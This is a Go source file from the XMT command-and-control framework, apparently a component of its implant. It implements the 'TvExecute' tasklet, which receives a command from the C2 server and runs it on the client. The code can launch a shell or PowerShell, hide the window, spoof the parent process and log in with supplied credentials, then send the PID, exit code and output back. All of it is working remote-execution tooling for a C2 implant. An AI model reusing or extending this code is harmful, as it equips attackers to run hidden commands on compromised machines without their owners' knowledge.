github.com/iDigitalFlame/xmt@v0.5.4/c2/task/process.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 package task 18 19 import ( 20 "bytes" 21 "context" 22 "strings" 23 "time" 24 25 "github.com/iDigitalFlame/xmt/cmd" 26 "github.com/iDigitalFlame/xmt/cmd/filter" 27 "github.com/iDigitalFlame/xmt/data" 28 "github.com/iDigitalFlame/xmt/device" 29 ) 30 31 // Process is a Tasklet that is similar to the 'cmd.Process' struct. This is 32 // used to Task a Client with running a specified command. 33 // 34 // This can be directly used in the Session 'Tasklet' function instead of 35 // directly creating a Task. 36 // 37 // The Filter attribute will attempt to set the target that runs the Process. 38 // If none are specified, the Process will be ran under the client process. 39 // 40 // C2 Details: 41 // 42 // ID: TvExecute 43 // 44 // Input: 45 // Process struct { 46 // []string // Args 47 // string // Dir 48 // []string // Environment 49 // uint32 // Flags 50 // bool // Wait 51 // int64 // Timeout 52 // bool // Hide 53 // string // Username 54 // string // Domain 55 // string // Password 56 // Filter struct { // Filter 57 // bool // Filter Status 58 // uint32 // PID 59 // bool // Fallback 60 // uint8 // Session 61 // uint8 // Elevated 62 // []string // Exclude 63 // []string // Include 64 // } 65 // []byte // Stdin Data 66 // } 67 // Output: 68 // uint32 // PID 69 // int32 // Exit Code 70 // []byte // Output (Stdout and Stderr) 71 type Process struct { 72 Filter *filter.Filter 73 Dir string 74 User, Domain, Pass string 75 76 Env, Args []string 77 Stdin []byte 78 Timeout time.Duration 79 80 Flags uint32 81 Wait, Hide bool 82 } 83 84 // UnmarshalStream reads the data for this Process from the supplied Reader. 85 func (p *Process) UnmarshalStream(r data.Reader) error { 86 if err := data.ReadStringList(r, &p.Args); err != nil { 87 return err 88 } 89 if err := r.ReadString(&p.Dir); err != nil { 90 return err 91 } 92 if err := data.ReadStringList(r, &p.Env); err != nil { 93 return err 94 } 95 if err := r.ReadBool(&p.Wait); err != nil { 96 return err 97 } 98 if err := r.ReadUint32(&p.Flags); err != nil { 99 return err 100 } 101 if err := r.ReadInt64((*int64)(&p.Timeout)); err != nil { 102 return err 103 } 104 if err := r.ReadBool(&p.Hide); err != nil { 105 return err 106 } 107 if err := r.ReadString(&p.User); err != nil { 108 return err 109 } 110 if err := r.ReadString(&p.Domain); err != nil { 111 return err 112 } 113 if err := r.ReadString(&p.Pass); err != nil { 114 return err 115 } 116 if err := filter.UnmarshalStream(r, &p.Filter); err != nil { 117 return err 118 } 119 return r.ReadBytes(&p.Stdin) 120 } 121 func taskProcess(x context.Context, r data.Reader, w data.Writer) error { 122 p, z, err := ProcessUnmarshal(x, r) 123 if err != nil { 124 return err 125 } 126 if z { 127 w.WriteUint64(0) 128 p.Stdout, p.Stderr = w, w 129 } 130 if err = p.Start(); err != nil { 131 p.Stdout, p.Stderr = nil, nil 132 return err 133 } 134 if p.Stdin = nil; !z { 135 // NOTE(dij): Push PID 32bits higher, since exit code is zero anyway. 136 w.WriteUint64(uint64(p.Pid()) << 32) 137 p.Release() 138 return nil 139 } 140 i := p.Pid() 141 err, p.Stdout, p.Stderr = p.Wait(), nil, nil 142 if _, ok := err.(*cmd.ExitError); err != nil && !ok { 143 return err 144 } 145 var ( 146 c, _ = p.ExitCode() 147 s, _ = w.(backer) 148 ) 149 if s == nil { 150 return nil 151 } 152 s.WriteUint32Pos(0, i) 153 s.WriteUint32Pos(4, uint32(c)) 154 return nil 155 } 156 157 // ProcessUnmarshal will read this Process's struct data from the supplied 158 // reader and returns a Process runnable struct along with the wait boolean. 159 // 160 // This function returns an error if building or reading fails. 161 func ProcessUnmarshal(x context.Context, r data.Reader) (*cmd.Process, bool, error) { 162 var p Process 163 if err := p.UnmarshalStream(r); err != nil { 164 return nil, false, err 165 } 166 if len(p.Args) == 0 { 167 return nil, false, cmd.ErrEmptyCommand 168 } 169 v := cmd.NewProcessContext(x, p.Args...) 170 if len(p.Args[0]) == 7 && p.Args[0][0] == '@' && p.Args[0][6] == '@' && p.Args[0][1] == 'S' && p.Args[0][5] == 'L' { 171 if len(p.Args) == 1 { 172 v.Args = []string{device.Shell} 173 } else { 174 v.Args = []string{device.Shell, device.ShellArgs, strings.Join(p.Args[1:], " ")} 175 } 176 } else if len(p.Args[0]) == 7 && p.Args[0][0] == '@' && p.Args[0][6] == '@' && p.Args[0][1] == 'P' && p.Args[0][5] == 'L' { 177 if len(p.Args) == 1 { 178 v.Args = []string{device.PowerShell} 179 } else { 180 v.Args = append([]string{device.PowerShell, "-c"}, p.Args[1:]...) 181 } 182 } 183 if v.SetFlags(p.Flags); p.Hide { 184 v.SetNoWindow(true) 185 v.SetWindowDisplay(0) 186 } 187 if v.SetParent(p.Filter); len(p.Stdin) > 0 { 188 v.Stdin = bytes.NewReader(p.Stdin) 189 } 190 if v.Timeout, v.Dir, v.Env = p.Timeout, p.Dir, p.Env; len(p.User) > 0 { 191 v.SetLogin(p.User, p.Domain, p.Pass) 192 } 193 return v, p.Wait, nil 194 }